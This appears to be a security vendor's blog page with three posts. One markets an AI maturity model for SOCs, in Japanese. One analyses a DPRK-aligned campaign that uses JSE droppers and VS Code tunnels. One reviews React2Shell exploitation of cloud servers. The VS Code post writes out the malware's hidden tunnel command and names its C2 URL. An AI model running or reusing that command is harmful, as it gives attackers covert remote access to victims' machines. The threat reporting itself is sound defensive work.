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July 16, 2025

サイバーセキュリティのためのAI成熟度モデルの紹介

サイバーセキュリティのためのAI成熟度モデルは、実際のユースケースとエキスパートの知見に基づいた、この種の指針の中でも最も詳細なガイドです。CISOが戦略的な意思決定を行うための力となり、どのAIを導入すべきかだけではなく、組織を段階的に強化し優れた成果を得るためにどのように進めるべきかを知ることができます。
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Ashanka Iddya
Senior Director, Product Marketing
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16
Jul 2025

サイバーセキュリティへのAIの導入:宣伝文句を超えて

今日のセキュリティオペレーションはパラドックスに直面しています。業界ではAI(Artificial Intelligence)が全面的な変革を約束し、ルーチンタスクを自動化することにより検知と対処が強化されると言われています。しかしその一方で、セキュリティリーダーは意味のあるイノベーションとベンダーの宣伝文句を区別しなければならないという大きなプレッシャーに直面しています。

CISOとセキュリティチームがこの状況を乗り越えるのを支援するため、私たちは業界で最も詳細、かつアクション可能なAI成熟度モデルを作成しました。AIおよびサイバーセキュリティ分野のエキスパートと協力して作成したこの枠組みは、セキュリティライフサイクル全体を通じてAIの導入を理解し、測定し、進めていくためのしっかりとした道筋を提供します。

なぜ成熟度モデル?なぜ今必要?

セキュリティリーダー達との対話と調査の中で繰り返し浮かび上がってきたテーマがあります。

それは、AIソリューションはまったく不足していないが、AIのユースケースの明瞭性と理解が不足している、ということです。

事実、Gartner社は「2027年までに、エージェント型AIプロジェクトの40%以上が、コスト上昇、不明瞭なビジネス上の価値、あるいは不十分なリスク制御を理由として打ち切られるだろう」と予測しています。多くのセキュリティチームが実験を行っていますが、その多くは意味のある成果を得られていません。セキュリティの向上を評価し情報に基づいた投資を行うための、標準化された方法に対する必要性はかつてなく高まっています。

AI成熟度モデルが作成されたのはこのような背景によるものであり、これは次を行うための戦略的枠組みです:

  • 人手によるプロセス(L0)からAIへの委任(L4)に至る5段階の明確なAI成熟度を定義
  • エージェント型生成AIと専用AIエージェントシステムから得られる結果を区別
  • リスク管理、脅威検知、アラートトリアージ、インシデント対応といった中核的な機能にわたって評価
  • AI成熟度を、リスクの削減、効率の向上、スケーラブルなオペレーションなど、現実の成果に対応させる

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このモデルで成熟度はどのように評価されるか?

「サイバーセキュリティにおけるAI成熟度モデル」は、世界で10,000社に及ぶDarktraceの自己学習型AIおよびCyber AI Analystの導入例から得られたセキュリティオペレーションの知見に基づいています。抽象的な理論やベンダーのベンチマークに頼るのではなく、このモデルは実際にセキュリティチームが直面している課題に基づき、AIがどこに導入されているか、どのように使用されているか、そしてどのような成果をもたらしているかを反映しています。

こうした現実に即した基盤により、このモデルはAI成熟度に対する実務的な、体験に基づいた視点を提供します。セキュリティチームが現在の状態を把握し、同じような組織がどのように進化しているかに基づいて現実的な次のステップを知るのに役立ちます。

Darktraceを選ぶ理由

AIは2013年のダークトレースの設立以来そのミッションの中心であり、単なる機能ではなく、企業の基盤です。10年以上にわたりAIを開発し現実のセキュリティ環境にAIを適用してきた経験から、私たちはAIがどこに有効で、どこに有効でないか、そしてAIから最も大きな価値を得るにはどうすべきかを学びました。

私たちは、現代のビジネスが膨大な、相互に接続されたエコシステム内で動いていること、そしてそこには従来のサイバーセキュリティアプローチの維持を不可能にする新たな複雑さや脆弱さが生まれていることを知っています。多くのベンダーは機械学習を使用していますが、AIツールはそれぞれ異なり、どれも同じように作られているわけではありません。

Darktraceの自己学習型AIは多層的なAIアプローチを使用して、それぞれの組織から学習することにより、現代の高度な脅威に対するプロアクティブかつリジリエントな防御を提供します。機械学習、深層学習、LLM、自然言語処理を含む多様なAIテクニックを戦略的に組み合わせ、連続的、階層的に統合することにより、私たちの多層的AIアプローチはそれぞれの組織専用の、変化する脅威ランドスケープに適応する強力な防御メカニズムを提供します。

この成熟度モデルはこうした知見を反映し、セキュリティリーダーが組織の人、プロセス、ツールに適した適切な道筋を見つけるのに役立ちます。

今日のセキュリティチームは次のような重要な問いに直面しています:

  • AIを具体的に何のために使うべきか?
  • 他のチームはどのように使っているのか?そして何が機能しているのか?
  • ベンダーはどのようなツールを提供しているのか、そして何が単なる宣伝文句なのか?
  • AIはSOCの人員を置き換える可能性があるのか?

これらはもっともな質問ですが、簡単に答えられるとは限りません。それが、私たちがこのモデルを作成した理由です。セキュリティリーダーが単なるバズワードに惑わされず、SOC全体にAIを適用するための明確かつ現実的な計画を作成するのを助けるために、このモデルが作成されました。

構成:実験から自律性まで

このモデルは5つの成熟段階で構成されています:

L0 –  人手によるオペレーション:プロセスはほとんどが人手によるものであり、一部のタスクにのみ限定的な自動化が使用されます。

L1 –  自動化ルール:人手により管理されるか、外部ソースからの自動化ルールとロジックが可能な範囲で使用されます。    

L2 –  AIによる支援:AIは調査を支援するが、良い判断をするかどうかは信頼されていません。これには人手によるエラーの監視が必要な生成AIエージェントが含まれます。    

L3 –  AIコラボレーション:組織のテクノロジーコンテキストを理解した専用のサイバーセキュリティAIエージェントシステムに特定のタスクと判断を任せます。生成AIはエラーが許容可能な部分に使用が限定されます。  

L4 –  AIに委任:組織のオペレーションと影響について格段に幅広いコンテキストを備えた専用のAIエージェントがほとんどのサイバーセキュリティタスクと判断を単独で行い、ハイレベルの監督しか必要としません。

それぞれの段階が、テクノロジーだけではなく、人とプロセスもシフトすることを表しています。AIが成熟するにつれ、アナリストの役割は実行者から戦略的監督者へと進化します。

セキュリティリーダーにとっての戦略上の利益

成熟度モデルの目的はテクノロジーの導入だけではなく、AIへの投資を測定可能なオペレーションの成果に結びつけることです。AIによって次のことが可能になります:

SOCの疲労は切実、AIが軽減に貢献

ほとんどのセキュリティチームは現在もアラートの量、調査の遅延、受け身のプロセスに苦労しています。しかしAIの導入には一貫性がなく、多くの場合サイロ化しています。上手く統合すれば、AIはセキュリティチームの効率を高めるための、意味のある違いをもたらすことができます。

生成AIはエラーが起こりやすく、人間による厳密な監視が必要

生成AIを使ったエージェント型システムについては多くの誇大広告が見られますが、セキュリティチームはエージェント型生成AIシステムの不正確性とハルシネーションの可能性についても考慮に入れる必要があります。

AIの本当の価値はセキュリティの進化にある

AI導入の最も大きな成果は、リスク対策から検知、封じ込め、修復に至るまで、セキュリティライフサイクル全体にAIを統合することから得られます。

AIへの信頼と監督は初期段階で必須となるが次第に変化する

導入の初期段階では、人間が完全にコントロールします。L3からL4に到達する頃には、AIシステムは決められた境界内で独立して機能するようになり、人間の役割は戦略的監督になります。

人間の役割が意味のあるものに変化する

AIが成熟すると、アナリストの役割は労働集約的な作業から高価値な意思決定へと引き上げられ、重要な、ビジネスへの影響が大きいアクティビティやプロセスの改良、AIに対するガバナンスなどに集中できるようになります。

成熟度を定義するのは宣伝文句ではなく成果

AIの成熟度は単にテクノロジーが存在しているかどうかではなく、リスク削減、対処時間、オペレーションのリジリエンスに対して測定可能な効果が見られるかどうかで決まります。

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AI成熟度モデルの各段階の成果

セキュリティ組織は人手によるオペレーションからAIへの委任へと進むにつれてサイバーセキュリティの進化を体験するでしょう。成熟度の各レベルは、効率、精度、戦略的価値の段階的変化を表しています。

L0 – 人手によるオペレーション

この段階では、アナリストが手動でトリアージ、調査、パッチ適用、報告を、基本的な自動化されていないツールを使って行います。その結果、受け身の労働集約的なオペレーションになり、ほとんどのアラートは未調査のままとなり、リスク管理にも一貫性がありません。

L1 – 自動化ルール

この段階では、アナリストがSOARあるいはXDRといったルールベースの自動化ツールを管理します。これにより多少の効率化は図れますが、頻繁な調整を必要とします。オペレーションは依然として人員数と事前に定義されたワークフローに制限されます。

L2 – AIによる支援

この段階では、AIが調査、まとめ、トリアージを支援し、アナリストの作業負荷を軽減しますが、エラーの可能性もあるためきめ細かな監督が必要です。検知は向上しますが、自律的な意思決定に対する信頼度は限定的です。

L3 – AIコラボレーション

この段階では、AIが調査全体を行いアクションを提示します。アナリストは高リスクの判断を行うことと、検知戦略の精緻化に集中します。組織のテクノロジーコンテキストを考慮した専用のエージェント型AIエージェントシステムに特定のタスクが任され、精度と優先度の判断が向上します。

L4 – AIに委任

この段階では、専用のAIエージェントシステムが単独でほとんどのセキュリティタスクをマシンスピードで処理し、人間のチームはハイレベルの戦略的監督を行います。このことは、人間のセキュリティチームが最も時間と労力を使うアクティビティはプロアクティブな活動に向けられ、AIがルーチンのサイバーセキュリティ作業を処理することを意味します。

専用のAIエージェントシステムはビジネスへの影響を含めた深いコンテキストを理解して動作し、高速かつ効果的な判断を行います。

AI成熟度モデルのどこに位置しているかを調べる

「サイバーセキュリティのためのAI成熟度モデル」 ホワイトペーパーを入手し、評価を行ってみましょう。自社の現在の成熟段階をベンチマークし、主なギャップがどこにあるのかを調べ、次のステップの優先順位を特定するためににお役立てください。

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Ashanka Iddya
Senior Director, Product Marketing

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January 22, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

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Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to https://www.yespp.co.kr/common/include/code/out.php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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About the author

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January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

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Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.  

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction.  No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.
Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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